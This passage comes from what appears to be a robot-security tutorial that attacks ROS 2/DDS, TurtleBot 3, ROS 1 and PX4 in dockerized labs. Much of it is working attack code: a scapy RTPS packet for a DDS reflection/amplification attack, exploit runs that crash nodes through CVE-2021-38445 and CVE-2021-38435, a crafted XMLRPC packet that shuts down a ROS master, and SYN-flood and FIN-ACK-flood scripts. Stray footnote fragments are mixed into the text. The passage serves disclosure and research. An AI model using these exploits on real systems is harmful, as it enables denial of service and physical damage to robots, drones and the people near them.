    00c0  6A 7A 00 00 00 00 00 00 00 00 00 00 00 00 00 00  jz..............
    00d0  C0 A8 01 55 07 80 38 00 00 00 00 00 2C 00 00 00  ...U..8.....,...
    00e0  00 00 00 00 00 00 00 00 00 00 00 00 1D 00 00 00  ................
    00f0  74 65 73 74 2E 6C 6F 63 61 6C 2F 30 2E 39 2E 30  test.local/0.9.0
    0100  2F 4C 69 6E 75 78 2F 4C 69 6E 75 78 00 00 00 00  /Linux/Linux....
    0110  19 80 04 00 00 80 06 00 01 00 00 00              ............

Using the RTPS dissector, we’re can craft discovery requests and send them to targeted machines, processing the response and determining if any DDS participant is active within that machine and DOMAIN_ID.

Let’s craft a package as follows and send it to the dockerized target we built before:

## terminal 1 - ROS 2 Node
    docker run -it --net=host hacking_ros2:foxy -c "source /opt/opendds_ws/install/setup.bash; RMW_IMPLEMENTATION=rmw_cyclonedds_cpp /opt/opendds_ws/install/lib/examples_rclcpp_minimal_publisher/publisher_lambda"
    
    ## terminal 2 - Attacker (reconnaissance)
    python3 exploits/footprint.py 2> /dev/null

Though DDS implementations comply with OMG’s DDS’s specification, discovery responses vary among implementations. The following recording shows how while the crafted package allows to determine the presence of ROS 2 Nodes running (Galactic-default) CycloneDDS implementation, when changed to Fast-DDS (another DDS implementation, previously called FastRTPS and the default one in Foxy), no responses to the discovery message are received.

ROS 2 reflection attack

Each RTPS package RTPSSubMessage_DATA submessage can have multiple parameters. One of such parameters is PID_METATRAFFIC_MULTICAST_LOCATOR. Defined on OMG’s RTPS spec, it allows to hint which address should be used for multicast interactions. Unfortunately, there’s no whitelisting of which IPs are to be included in here and all implementations allow for arbitrary IPs in this field. By modifying this value through a package, an attacker could hint a ROS 2 Node (through its underlying DDS implementation) to use a new multicast IP address (e.g. a malicious server that generates continuous traffic and responses to overload the stack and generate unwanted traffic) which can be used to trigger reflection (or amplification) attacks.

Here’s an example of such package crafted with our dissector:

from scapy.all import *
    from scapy.layers.inet import UDP, IP
    from scapy.contrib.rtps import *
    
    bind_layers(UDP, RTPS)
    conf.verb = 0
    
    dst = "172.17.0.2"
    sport = 17900
    dport = 7400
    
    package = (
        IP(
            version=4,
            ihl=5,
            tos=0,
            len=288,
            id=41057,
            flags=2,
            frag=0,
            dst=dst,
        )
        / UDP(sport=45892, dport=dport, len=268)
        / RTPS(
            protocolVersion=ProtocolVersionPacket(major=2, minor=4),
            vendorId=VendorIdPacket(vendor_id=b"\x01\x03"),
            guidPrefix=GUIDPrefixPacket(
                hostId=16974402, appId=2886795267, instanceId=10045242
            ),
            magic=b"RTPS",
        )
        / RTPSMessage(
            submessages=[
                RTPSSubMessage_DATA(
                    submessageId=21,
                    submessageFlags=5,
                    octetsToNextHeader=0,
                    extraFlags=0,
                    octetsToInlineQoS=16,
                    readerEntityIdKey=0,
                    readerEntityIdKind=0,
                    writerEntityIdKey=256,
                    writerEntityIdKind=194,
                    writerSeqNumHi=0,
                    writerSeqNumLow=1,
                    data=DataPacket(
                        encapsulationKind=3,
                        encapsulationOptions=0,
                        parameterList=ParameterListPacket(
                            parameterValues=[
                                PID_BUILTIN_ENDPOINT_QOS(
                                    parameterId=119,
                                    parameterLength=4,
                                    parameterData=b"\x00\x00\x00\x00",
                                ),
                                PID_DOMAIN_ID(
                                    parameterId=15,
                                    parameterLength=4,
                                    parameterData=b"*\x00\x00\x00",
                                ),
                                PID_PROTOCOL_VERSION(
                                    parameterId=21,
                                    parameterLength=4,
                                    protocolVersion=ProtocolVersionPacket(major=2, minor=4),
                                    padding=b"\x00\x00",
                                ),
                                PID_PARTICIPANT_GUID(
                                    parameterId=80,
                                    parameterLength=16,
                                    parameterData=b"\x01\x03\x02B\xac\x11\x00\x03\x00\x99G:\x00\x00\x01\xc1",
                                ),
                                PID_VENDOR_ID(
                                    parameterId=22,
                                    parameterLength=4,
                                    vendorId=VendorIdPacket(vendor_id=b"\x01\x03"),
                                    padding=b"\x00\x00",
                                ),
                                PID_PARTICIPANT_BUILTIN_ENDPOINTS(
                                    parameterId=68,
                                    parameterLength=4,
                                    parameterData=b"?\xfc\x00\x00",
                                ),
                                PID_BUILTIN_ENDPOINT_SET(
                                    parameterId=88,
                                    parameterLength=4,
                                    parameterData=b"?\xfc\x00\x00",
                                ),
                                PID_METATRAFFIC_UNICAST_LOCATOR(
                                    parameterId=50,
                                    parameterLength=24,
                                    locator=LocatorPacket(
                                        locatorKind=16777216, port=47324, address="8.8.8.8"
                                    ),
                                ),
                                PID_METATRAFFIC_MULTICAST_LOCATOR(
                                    parameterId=51,
                                    parameterLength=24,
                                    locator=LocatorPacket(
                                        locatorKind=16777216,
                                        port=17902,
                                        address="239.255.0.1",
                                    ),
                                ),
                                PID_DEFAULT_UNICAST_LOCATOR(
                                    parameterId=49,
                                    parameterLength=24,
                                    locator=LocatorPacket(
                                        locatorKind=16777216,
                                        port=12345,
                                        address="127.0.0.1",
                                    ),
                                ),
                                PID_DEFAULT_MULTICAST_LOCATOR(
                                    parameterId=72,
                                    parameterLength=24,
                                    locator=LocatorPacket(
                                        locatorKind=16777216,
                                        port=12345,
                                        address="127.0.0.1",
                                    ),
                                ),
                                PID_PARTICIPANT_MANUAL_LIVELINESS_COUNT(
                                    parameterId=52,
                                    parameterLength=4,
                                    parameterData=b"\x00\x00\x00\x00",
                                ),
                                PID_UNKNOWN(
                                    parameterId=45061,
                                    parameterLength=4,
                                    parameterData=b"\x03\x00\x00\x00",
                                ),
                                PID_PARTICIPANT_LEASE_DURATION(
                                    parameterId=2,
                                    parameterLength=8,
                                    parameterData=b",\x01\x00\x00\x00\x00\x00\x00",
                                ),
                            ],
                            sentinel=PID_SENTINEL(parameterId=1, parameterLength=0),
                        ),
                    ),
                )
            ]
        )
    )
    
    send(package)

Fully avoiding this flaw requires a DDS implementation to break with the standard specification (which is not acceptable by various vendors because they profit from the interoperability the complying with the standard provides). Partial mitigations have appeared which implement exponential decay strategies for traffic amplification, making its exploitation more challenging.

This security issue affected all DDS implementations and as a result, all ROS 2 Nodes that build on top of DDS. As part of this research, various CVE IDs were filed:

Trying it out:

Let’s try this out in the dockerized environment using byobu to facilitate the setup:

## terminal 1 - ROS 2 Node
    # Launch container
    docker run -it hacking_ros2:foxy /bin/bash
    
    # (inside of the container), launch configuration
    byobu -f configs/ros2_reflection.conf attach
    
    ## terminal 1 - attacker
    # Launch the exploit
    sudo python3 exploits/reflection.py 2> /dev/null

ROS 2 Node crashing

Fuzz testing often helps find funny flaws due to programming errors in the corresponding implementations. The following two were found while doing fuzz testing in a white-boxed manner (with access to the source code):

They both affected OpenDDS. Let’s try out CVE-2021-38445 which leads ROS 2 Nodes to either crash or execute arbitrary code due to DDS not handling properly the length of the PID_BUILTIN_ENDPOINT_QOS parameter within RTPS’s RTPSSubMessage_DATA submessage. We’ll reproduce this in the dockerized environment using byobu to facilitate the setup:

## terminal 1 - ROS 2 Node
    # Launch container
    docker run -it hacking_ros2:foxy -c "byobu -f configs/ros2_crash.conf attach"
    # docker run -it --privileged --net=host hacking_ros2:foxy -c "byobu -f configs/ros2_crash.conf attach"
    
    ## terminal 2 - attacker
    # Launch the exploit
    sudo python3 exploits/crash.py 2> /dev/null

The key aspect in here is the parameterLength value:

PID_BUILTIN_ENDPOINT_QOS(
                      parameterId=119,
                      parameterLength=0,
                      parameterData=b"\x00\x00\x00\x00",
                  ),

Looking deeper into the crash issue

This flaw was fixed in OpenDDS >3.18.1 but if you wish to look deeper into it, debug the node, find the crash and further inspect the source code. Here’re are a few tips to do so:

## terminal 1 - ROS 2 Node
    # rebuild workspace with debug symbols
    colcon build --merge-install --packages-up-to examples_rclcpp_minimal_publisher --cmake-args -DCMAKE_BUILD_TYPE=Debug

and then debug the node with gdb:

## terminal 1 - ROS 2 Node
    apt-get install gdb  # install gdb
    wget -P ~ https://git.io/.gdbinit  # get a comfortable debugging environment
    
    source /opt/opendds_ws/install/setup.bash
    export RMW_IMPLEMENTATION=rmw_opendds_cpp
    # launch debugging session with OpenDDS
    gdb /opt/opendds_ws/install/lib/examples_rclcpp_minimal_publisher/publisher_lambda

if done properly, this should lead you to the following:

─── Assembly ─────────────────────────────────────────────────────────────────────────────────────
     0x00007f2c8479517a  __GI_raise+186 xor    %edx,%edx
     0x00007f2c8479517c  __GI_raise+188 mov    %r9,%rsi
     0x00007f2c8479517f  __GI_raise+191 mov    $0x2,%edi
     0x00007f2c84795184  __GI_raise+196 mov    $0xe,%eax
     0x00007f2c84795189  __GI_raise+201 syscall
     0x00007f2c8479518b  __GI_raise+203 mov    0x108(%rsp),%rax
     0x00007f2c84795193  __GI_raise+211 xor    %fs:0x28,%rax
     0x00007f2c8479519c  __GI_raise+220 jne    0x7f2c847951c4 <__GI_raise+260>
     0x00007f2c8479519e  __GI_raise+222 mov    %r8d,%eax
     0x00007f2c847951a1  __GI_raise+225 add    $0x118,%rsp
    ─── Breakpoints ──────────────────────────────────────────────────────────────────────────────────
    ─── Expressions ──────────────────────────────────────────────────────────────────────────────────
    ─── History ──────────────────────────────────────────────────────────────────────────────────────
    ─── Memory ───────────────────────────────────────────────────────────────────────────────────────
    ─── Registers ────────────────────────────────────────────────────────────────────────────────────
           rax 0x0000000000000000        rbx 0x00007f2c81b49700          rcx 0x00007f2c8479518b
           rdx 0x0000000000000000        rsi 0x00007f2c81b479d0          rdi 0x0000000000000002
           rbp 0x00007f2c8490a588        rsp 0x00007f2c81b479d0           r8 0x0000000000000000
            r9 0x00007f2c81b479d0        r10 0x0000000000000008          r11 0x0000000000000246
           r12 0x00007f2c83af1e00        r13 0x0000000000000176          r14 0x00007f2c83af21c4
           r15 0x0000000000000000        rip 0x00007f2c8479518b       eflags [ PF ZF IF ]
            cs 0x00000033                 ss 0x0000002b                   ds 0x00000000
            es 0x00000000                 fs 0x00000000                   gs 0x00000000
    ─── Source ───────────────────────────────────────────────────────────────────────────────────────
    Cannot display "raise.c"
    ─── Stack ────────────────────────────────────────────────────────────────────────────────────────
    [0] from 0x00007f2c8479518b in __GI_raise+203 at ../sysdeps/unix/sysv/linux/raise.c:50
    [1] from 0x00007f2c84774859 in __GI_abort+299 at abort.c:79
    [2] from 0x00007f2c84774729 in __assert_fail_base+-71239 at assert.c:92
    [3] from 0x00007f2c84785f36 in __GI___assert_fail+70 at assert.c:101
    [4] from 0x00007f2c836bbc38 in OpenDDS::DCPS::Serializer::smemcpy(char*, char const*, unsigned long)+66 at /opt/OpenDDS/dds/DCPS/Serializer.cpp:374
    [5] from 0x00007f2c81cc51ba in OpenDDS::DCPS::Serializer::doread(char*, unsigned long, bool, unsigned long)+250 at ../../../../dds/DCPS/Serializer.inl:243
    [6] from 0x00007f2c81cc52a0 in OpenDDS::DCPS::Serializer::buffer_read(char*, unsigned long, bool)+78 at ../../../../dds/DCPS/Serializer.inl:296
    [7] from 0x00007f2c81cc5537 in OpenDDS::DCPS::operator>>(OpenDDS::DCPS::Serializer&, unsigned int&)+89 at ../../../../dds/DCPS/Serializer.inl:1193
    [8] from 0x00007f2c83f78bf8 in OpenDDS::DCPS::operator>>(OpenDDS::DCPS::Serializer&, OpenDDS::RTPS::Parameter&)+7538 at /opt/OpenDDS/dds/DCPS/RTPS/RtpsCoreTypeSupportImpl.cpp:13064
    [9] from 0x00007f2c83f6f2e6 in OpenDDS::DCPS::operator>>(OpenDDS::DCPS::Serializer&, OpenDDS::RTPS::ParameterList&)+102 at /opt/OpenDDS/dds/DCPS/RTPS/RtpsCoreTypeSupportImpl.cpp:9890
    [+]
    ─── Threads ──────────────────────────────────────────────────────────────────────────────────────
    [7] id 16227 name publisher_lambd from 0x00007f2c8473c376 in futex_wait_cancelable+29 at ../sysdeps/nptl/futex-internal.h:183
    [6] id 16226 name publisher_lambd from 0x00007f2c8486712b in __GI___select+107 at ../sysdeps/unix/sysv/linux/select.c:41
    [5] id 16215 name publisher_lambd from 0x00007f2c8473c376 in futex_wait_cancelable+29 at ../sysdeps/nptl/futex-internal.h:183
    [4] id 16214 name publisher_lambd from 0x00007f2c8479518b in __GI_raise+203 at ../sysdeps/unix/sysv/linux/raise.c:50
    [3] id 16213 name publisher_lambd from 0x00007f2c8473f3f4 in futex_abstimed_wait_cancelable+42 at ../sysdeps/nptl/futex-internal.h:320
    [2] id 16212 name publisher_lambd from 0x00007f2c8486712b in __GI___select+107 at ../sysdeps/unix/sysv/linux/select.c:41
    [1] id 16170 name publisher_lambd from 0x00007f2c8473c7b1 in futex_abstimed_wait_cancelable+415 at ../sysdeps/nptl/futex-internal.h:320
    ─── Variables ────────────────────────────────────────────────────────────────────────────────────
    arg sig = 6
    loc set = {__val = {[0] = 18446744067266838239, [1] = 139829178189904, [2] = 4222451712, [3] = 139828901466080…, pid = <optimized out>, tid = <optimized out>
    ──────────────────────────────────────────────────────────────────────────────────────────────────

Credit

This research is the result of a cooperation among various security researchers and reported in this advisory. The following individuals too part on it (alphabetical order):

• Chizuru Toyama
• Erik Boasson
• Federico Maggi
• Mars Cheng
• Patrick Kuo
• Ta-Lun Yen
• Víctor Mayoral-Vilches

TurtleBot 3 (TB3)

Building on top of the previous ROS 2 case study, this piece aims to demonstrate how ROS 2 vulnerabilities can be translated directly into complete robots and how attackers could exploit them.

Dockerized environment

Like in previous cases, when possible, we’ll facilitate a Docker-based environment so that you can try things out yourself! Here’s this one:

NOTE: RTI Connext setup process has been commented so you’ll need to go ahead, uncomment that block in the Dockerfile and build at your own risk.

# Build
    docker build -t hacking_tb3:foxy --build-arg DISTRO=foxy .
    
    # Run headless
    docker run -it hacking_tb3:foxy -c "/bin/bash"
    
    # Run headless with byobu config using both Fast-DDS and RTI's Connext
    docker run -it hacking_tb3:foxy -c "/usr/bin/byobu -f /opt/configs/pocs_headless_connext.conf attach"
    
    # Run headless sharing host's network
    docker run -it --privileged --net=host hacking_tb3:foxy -c "/usr/bin/byobu -f /opt/configs/pocs_headless.conf attach"
    
    # Run headless sharing host's network, and with some nodes launched using OpenDDS
    docker run -it --privileged --net=host hacking_tb3:foxy -c "/usr/bin/byobu -f /opt/configs/pocs_headless_opendds.conf attach"
    
    
    # Run, using X11
    xhost + # (careful with this)
    docker run -it -v /tmp/.X11-unix:/tmp/.X11-unix -e DISPLAY=$DISPLAY -v $HOME/.Xauthority:/home/xilinx/.Xauthority hacking_tb3:foxy -c "/usr/bin/byobu -f /opt/configs/pocs_connext.conf attach"

Searching for TB3s around (reconnaissance)

python3 exploits/footprint.py 2> /dev/null

It’ll find the CycloneDDS node teleop_keyboard, which respond to the crafted package and identify the corresponding endpoint.

Messing up with TB3’s traffic

python3 exploits/reflection.py 2> /dev/null

Crashing TB3s running “best in the world” DDS: RTI Connext

Real Time Innovations (RTI) is one of the leading DDS vendors. They claim to have customers across use cases in medical, aerospace, industry and military. They throw periodic webinars about security however beyond these marketing actions, their practices and security-awareness don’t seem to live up to the security industry standards. This section will demonstrate how to exploit the already disclosed CVE-2021-38435 in the TurtleBot 3 with RTI Connext, which RTI decided not to credit back to the original security researchers (us 😜).

Out of the research we reported the following can be extracted:

The security flaw in this case affects solely RTI Connext DDS and is a segmentation fault caused by a malformed RTPS packet which can be triggered remotely over the network.

In a nutshell, Connext serializer in RTI Connext throws an error while digesting this package, which leads the corresponding ROS 2 Node to exit immediately, causing denial of service. In addition, depending on the Node’s computations, it may also lead to safety issues due to the fact that the communication is interrupted immediately. The flaw affects both publishers and subscribers, and an attacker could selectively crash specific Nodes which may compromise the robot computational graph for achieving beyond-DoS malicious objectives.

The interest of this flaw is that it somewhat shows how easy it is to compromise a computational graph built with the best in the world DDS solution😓 (see screenshot from RTI Connext’s site below, their words):

The following clip depicts how the flaw is exploited in a simulated TurtleBot 3 robot. Note how the teleoperation Node is first launched and stopped, demonstrating how the corresponding topics’ velocity values are set to zero after the Node finishes. This avoids the robot to move in an undesired manner. If instead of stopping the teleoperation Node manually, we crash it using CVE-2021-38435, we can observe how the last velocities are kept infinitely, leading to robot to crash into the wall.

Crashing a simple ROS 2 Node with RTI’s Connext DDS

Here’s a simpler PoC that launches a ROS 2 publisher which is then crashed by also exploiting CVE-2021-38435:

# split 1
    docker run -it hacking_tb3:foxy -c "/bin/bash"
    RMW_IMPLEMENTATION=rmw_connext_cpp ros2 run demo_nodes_cpp talker
    
    # split 2
    sudo python3 exploits/crash_connext.py 2> /dev/null

Credit

Part of this research is the result of a cooperation among various security researchers across groups as reported in this advisory. The following individuals took part on it (alphabetical order):

• Chizuru Toyama
• Erik Boasson
• Federico Maggi
• Mars Cheng
• Patrick Kuo
• Ta-Lun Yen
• Víctor Mayoral-Vilches

Robot Operating System (ROS 1)

The Robot Operating System (ROS) is the de facto standard for robot application development (Quigley, Gerkey, et al. 2009). It’s a framework for creating robot behaviors that comprises various stacks and capabilities for message passing, perception, navigation, manipulation or security, among others. It’s estimated that by 2024, 55% of the total commercial robots will be shipping at least one ROS package. ROS is to roboticists what Linux is to computer scientists.

This case study will analyze the security of ROS and demonstrate a few security flaws that made the community jump into a more robust evolution: ROS 2Official e-manual of TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/overview/

(see case study on ROS 2)

Dissecting ROS network interactions through scapy

TCPROS is a transport layer for ROS Messages and Services. It uses standard TCP/IP sockets for transporting message data. Inbound connections are received via a TCP Server Socket with a header containing message data type and routing information. This class focuses on capturing the ROS Slave API.

Until it gets merged upstream (see TCPROS PR), you can get the TCPROS dissector as follows:

pip3 install git+https://github.com/vmayoral/scapy@tcpros

An example package is presented below:

from scapy.contrib.tcpros import *
    bind_layers(TCP, TCPROS)
    bind_layers(HTTPRequest, XMLRPC)
    bind_layers(HTTPResponse, XMLRPC)
    
    pkt =   b"POST /RPC2 HTTP/1.1\r\nAccept-Encoding: gzip\r\nContent-Length: " \
            b"227\r\nContent-Type: text/xml\r\nHost: 12.0.0.2:11311\r\nUser-Agent:" \
            b"xmlrpclib.py/1.0.1 (by www.pythonware.com)\r\n\r\n<?xml version=" \
            b"'1.0'?>\n<methodCall>\n<methodName>shutdown</methodName>\n<params>" \
            b"\n<param>\n<value><string>/rosparam-92418</string></value>\n" \
            b"</param>\n<param>\n<value><string>BOOM</string></value>" \
            b"\n</param>\n</params>\n</methodCall>\n"
    
    p = TCPROS(pkt)

or alternatively, crafting it layer by layer:

p = (
        IP(version=4, ihl=5, tos=0, flags=2, dst="12.0.0.2")
        / TCP(
            sport=20001,
            dport=11311,
            seq=1,
            flags="PA",
            ack=1,
        )
        / TCPROS()
        / HTTP()
        / HTTPRequest(
            Accept_Encoding=b"gzip",
            Content_Length=b"227",
            Content_Type=b"text/xml",
            Host=b"12.0.0.2:11311",
            User_Agent=b"xmlrpclib.py/1.0.1 (by www.pythonware.com)",
            Method=b"POST",
            Path=b"/RPC2",
            Http_Version=b"HTTP/1.1",
        )
        / XMLRPC()
        / XMLRPCCall(
            version=b"<?xml version='1.0'?>\n",
            methodcall_opentag=b"<methodCall>\n",
            methodname_opentag=b"<methodName>",
            methodname=b"shutdown",
            methodname_closetag=b"</methodName>\n",
            params_opentag=b"<params>\n",
            params=b"<param>\n<value><string>/rosparam-92418</string></value>\n</param>\n<param>\n<value><string>BOOM</string></value>\n</param>\n",
            params_closetag=b"</params>\n",
            methodcall_closetag=b"</methodCall>\n",
        )
    )

This package will invoke the shutdown method of ROS 2 Master, shutting it down, together with all its associated Nodes.

Let’s take a look at other potential attacks against ROS.

SYN-ACK DoS flooding attack for ROS

A SYN flood is a type of OSI Level 4 (Transport Layer) network attack. The basic idea is to keep a server busy with idle connections, resulting in a a Denial-of-Service (DoS) via a maxed-out number of connections. Roughly, the attack works as follows:

• the client sends a TCP SYN (S flag) packet to begin a connection with a given end-point (e.g. a server).
• the server responds with a SYN-ACK packet, particularly with a TCP SYN-ACK (SA flag) packet.
• the client responds back with an ACK (flag) packet. In normal operation, the client should send an ACK packet followed by the data to be transferred, or a RST reply to reset the connection. On the target server, the connection is kept open, in a SYN_RECV state, as the ACK packet may have been lost due to network problems.
• In the attack, to abuse this handshake process, an attacker can send a SYN Flood, a flood of SYN packets, and do nothing when the server responds with a SYN-ACK packet. The server politely waits for the other end to respond with an ACK packet, and because bandwidth is fixed, the hardware only has a fixed number of connections it can make. Eventually, the SYN packets max out the available connections to a server with hanging connections. New sockets will experience a denial of service.

A proof-of-concept attack was developed on the simulated target scenario (above) to isolate communications. The attack exploit is displayed below:

print("Capturing network traffic...")
    packages = sniff(iface="eth0", filter="tcp", count=20)
    targets = {}
    for p in packages[TCPROSBody]:
        # Filter by ip
        # if p[IP].src == "12.0.0.2":
        port = p.sport
        ip = p[IP].src
        if ip in targets.keys():
            targets[ip].append(port)
        else:
            targets[ip] = [port]
    
    # Get unique values:
    for t in targets.keys():
        targets[t] = list(set(targets[t]))
    
    # Select one of the targets
    dst_target = list(map(itemgetter(0), targets.items()))[0]
    dport_target = targets[dst_target]
    
    # Small fix to meet scapy syntax on "dport" key
    #  if single value, can't go as a list
    if len(dport_target) < 2:
        dport_target = dport_target[0]
    
    p=IP(dst=dst_target,id=1111,ttl=99)/TCP(sport=RandShort(),dport=dport_target,seq=1232345,ack=10000,window=10000,flags="S")/"SYN Flood DoS"
    ls(p)
    ans,unans=srloop(p,inter=0.05,retry=2,timeout=4)

In many systems, attacker would find no issues executing this attack and would be able to bring down ROSTCP interactions if the target machine’s networking stack isn’t properly configured. To defend against this attack, a user would need to set up their kernel’s network stack appropriately. In particular, they’d need to ensure that TCP SYN cookies are enabled. SYN cookies work by not using the SYN queue at all. Instead, the kernel simply replies to the SYN with a SYN-ACK, but will include a specially crafted TCP sequence number that encodes the source and destination IP address, port number and the time the packet was sent. A legitimate connection would send the ACK packet of the three way handshake with the specially crafted sequence number. This allows the system to verify that it has received a valid response to a SY cookie and allow the connection, even though there is no corresponding SYN in the queue.

FIN-ACK flood attack targeting ROS

The previous SYN-ACK DoS flooding attack did not affect hardened control stations because it is blocked by SYN cookies at the Linux kernel level. I dug a bit further and looked for alternatives to disrupt ROS-Industrial communications, even in in the presence of hardening (at least to the best of my current knowledge).

After testing a variety of attacks against the ROS-Industrial network including ACK and PUSH ACK flooding, ACK Fragmentation flooding or Spoofed Session flooding among others, assuming the role of an attacker I developed a valid disruption proof-of-concept using the FIN-ACK attack. Roughly, soon after a successful three or four-way TCP-SYN session is established, the FIN-ACK attack sends a FIN packet to close the TCP-SYN session between a host and a client machine. Given a TCP-SYN session established by ROSTCP between two entities wherein one is relying information of the robot to the other (running the ROS master) for coordination, the FIN-ACK flood attack sends a large number of spoofed FIN packets that do not belong to any session on the target server. The attack has two consequences: first, it tries to exhaust a recipient’s resources – its RAM, CPU, etc. as the target tries to process these invalid requests. Second, the communication is being constantly finalized by the attacker which leads to ROS messages being lost in the process, leading to the potential loss of relevant data or a significant lowering of the reception rate which might affect the performance of certain robotic algorithms.

The following script displays the simple proof-of-concept developed configured for validating the attack in the simplified isolated scenario.

def tcpros_fin_ack():
        """
        crafting a FIN ACK interrupting publisher's comms
        """
        flag_valid = True
        targetp = None
        targetp_ack = None
        # fetch 10 tcp packages
        while flag_valid:
            packages = sniff(iface="eth0", filter="tcp", count=4)
            if len(packages[TCPROSBody]) < 1:
                continue
            else:
                # find first TCPROSBody and pick a target
                targetp = packages[TCPROSBody][-1]  # pick latest instance
                index = packages.index(packages[TCPROSBody][-1])
                for i in range(index + 1, len(packages)):
                    targetp_ack = packages[i]
                    # check if the ack matches appropriately
                    if targetp[IP].src == targetp_ack[IP].dst and \
                            targetp[IP].dst == targetp_ack[IP].src and \
                            targetp[TCP].sport == targetp_ack[TCP].dport and \
                            targetp[TCP].dport == targetp_ack[TCP].sport and \
                            targetp[TCP].ack == targetp_ack[TCP].seq:
                        flag_valid = False
                        break
    
        if not flag_valid and targetp_ack and targetp:
            # Option 2
            p_attack =IP(src=targetp[IP].src, dst=targetp[IP].dst,id=targetp[IP].id + 1,ttl=99)\
                /TCP(sport=targetp[TCP].sport,dport=targetp[TCP].dport,flags="FA", seq=targetp_ack[TCP].ack,
                ack=targetp_ack[TCP].seq)
    
            ans = sr1(p_attack, retry=0, timeout=1)
    
            if ans and len(ans) > 0 and ans[TCP].flags == "FA":
                p_ack =IP(src=targetp[IP].src, dst=targetp[IP].dst,id=targetp[IP].id + 1,ttl=99)\
                    /TCP(sport=targetp[TCP].sport,dport=targetp[TCP].dport,flags="A", seq=ans[TCP].ack,
                    ack=ans[TCP].seq + 1)
                send(p_ack)
    
    while True:
        tcpros_fin_ack()

The following figure shows the result of the FIN-ACK attack on a targeted machine. Image displays a significant reduction of the reception rate and down to more than half (4.940 Hz) from the designated 10 Hz of transmission. The information sent from the publisher consists of an iterative integer number however the data received in the target under attack shows significant integer jumps, which confirm the package losses. More elaborated attacks could be built upon using a time-sensitive approach. A time-sensitive approach could lead to more elaborated attacks.

PX4 autopilot

The PX4 autopilot is an open source flight autopilot for drone developers. It’s advertised as a

an open source flight control software for drones and other unmanned vehicles. The project provides a flexible set of tools for drone developers to share technologies to create tailored solutions for drone applications. PX4 provides a standard to deliver drone hardware support and software stack, allowing an ecosystem to build and maintain hardware and software in a scalable way.

PX4 is part of Dronecode, a non-profit organization administered by Linux Foundation to foster the use of open source software on flying vehicles. Dronecode also hosts QGroundControl, MAVLink & the SDK.

Alternatives to PX4 include Ardupilot (APM) and Paparazzi.

Understanding the threat landscape

Let’s start by performing a simple threat modeling exercise on the autopilot to understand its threat landscape:

Note that there’re various communication buses and protocols depicted. Of most importance: - uORB: uORB is an asynchronous publish/subscribe messaging API maintained within the PX4 project and used for intra-process/inter-process communication. Depicted with dark arrows, most autopilot software componentsAt the time of writing.

rely heavily on uORB for interactions. uORB is designed to be lightweight Note how uORB interactions are restricted to internal software components and how it’s not directly exposed to any external interface due to its lack of security. Thought the uORB communication middleware is not directly exposed, if an attacker were to use one of the exposed interfaces (e.g. through insecure peripheral communications) and were to obtain privileges to execute code within associated software components, compromising the internal architecture through uORB would be trivial. - MAVLink: MAVLink is a very lightweight messaging protocol for communicating with drones (and between onboard drone components) that generally interfaces with either UART or UDP. Initially designed without security and later reviewed to add some security capabilities (MAVLink 2), MAVLink is widely used between a GCS and drone, and between drone autopilot and MAVLink enabled drone peripherals (e.g. a camera). The lack of a security-centric approach from its conception has led to various reported security vulnerabilities which allows attackers to compromise the intra and inter-drone interactionsOfficial e-manual of TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/overview/

. - Micro-XRCE and DDS: Traveling over UDPROS 2 specific section in TB3 e-manual http://emanual.robotis.com/docs/en/platform/turtlebot3/ros2/

, the DDS communication middleware is the alternative presented by PX4 to MAVLink. DDS provides certain security capabilities (see previous case studies) however these aspects are not translated to resource constrained DDS endpoints. In the case of few resources, OMG created a different DDS spec called DDS-XRCE which stands for eXtremely Resource Constrained Environments. Micro-XRCE is one of the implementations of DDS-XRCE. The compromised security mechanisms of DDS (discussed in previous case studies) and the lacking security mechanisms of DDS-XRCE present simple entrypoints that attacker could leverage.

Depicting all of this again while drawing the entrypoints and a few boundaries to identify trust zones (trust boundaries) leads to the following:

Static analysis of PX4 autopilot

Refer to The cybersecurity status of PX4 — PX4 Developer Summit Virtual 2020 to learn more about the results while statically analyzing PX4.

A simulated drone for security research purposes

The best way to security research PX4 is to bring up a simulated drone using PX4 SITL and Gazebo for drone and environment simulation. The following links capture the essence of how to do so: - PX4 Simulation - basics - PX4 Docker Containers - developers (see px4-dev-ros tag, and similar ones) - PX4 Docker Containers - users - Examples to prepare the environment: - Multi-Vehicle Simulation with Gazebo - ROS 2 Offboard Control Example - (demonstrates RTPS interactions, etc)

Reconnaissance

Footprinting ROS systems

Footprinting, (also known as reconnaissance) is the technique used for gathering information about digital systems and the entities they belong to. To get this information, a security analyst might use various tools and technologies. This information is very useful when performing a series attacks over an specific system.

ROS is the de facto standard for robot application development. This tutorial will show how to localize ROS systems and obtain additional information about them using the aztarna security tool. aztarna means “footprint” in basque.

Note: as in previous tutorials, there’s a docker container that facilitates reproducing the work of this tutorial. The container can be built with:

docker build -t basic_cybersecurity_footprinting1:latest .

and runned with:

docker run --privileged -it basic_cybersecurity_footprinting1:latest

ROS footprinting basics

The first thing we do to test the capabilities of aztarna is to get a container with the right dependencies and the tool installed:

```bash

    # from this directory:
    docker build -t basic_cybersecurity_footprinting1:latest .
    ...

    ```

Let’s launch an instance of ROS in the default port and see how aztarna can detect it:

```bash

    docker run --privileged -it basic_cybersecurity_footprinting1:latest
    root@3c22d4bbf4e1:/# roscore -p 11311 &
    root@3c22d4bbf4e1:/# roscore -p 11317 &
    root@3c22d4bbf4e1:/# aztarna -t ROS -p 11311 -a 127.0.0.1
    [+] ROS Host found at 127.0.0.1:11311


    root@3c22d4bbf4e1:/# aztarna -t ROS -p 11311-11320 -a 127.0.0.1
    root@432b0c5f61cc:~/aztarna# aztarna -t ROS -p 11311-11320 -a 127.0.0.1
    [-] Error connecting to host Address: 127.0.0.1: Cannot connect to host 127.0.0.1:11315 ssl:None [Connection refused]
        Not a ROS host
    [-] Error connecting to host Address: 127.0.0.1: Cannot connect to host 127.0.0.1:11312 ssl:None [Connection refused]
        Not a ROS host
    [-] Error connecting to host Address: 127.0.0.1: Cannot connect to host 127.0.0.1:11316 ssl:None [Connection refused]
        Not a ROS host
    [-] Error connecting to host Address: 127.0.0.1: Cannot connect to host 127.0.0.1:11313 ssl:None [Connection refused]
        Not a ROS host
    [-] Error connecting to host Address: 127.0.0.1: Cannot connect to host 127.0.0.1:11314 ssl:None [Connection refused]
        Not a ROS host
    [-] Error connecting to host Address: 127.0.0.1: Cannot connect to host 127.0.0.1:11318 ssl:None [Connection refused]
        Not a ROS host
    [-] Error connecting to host Address: 127.0.0.1: Cannot connect to host 127.0.0.1:11319 ssl:None [Connection refused]
        Not a ROS host
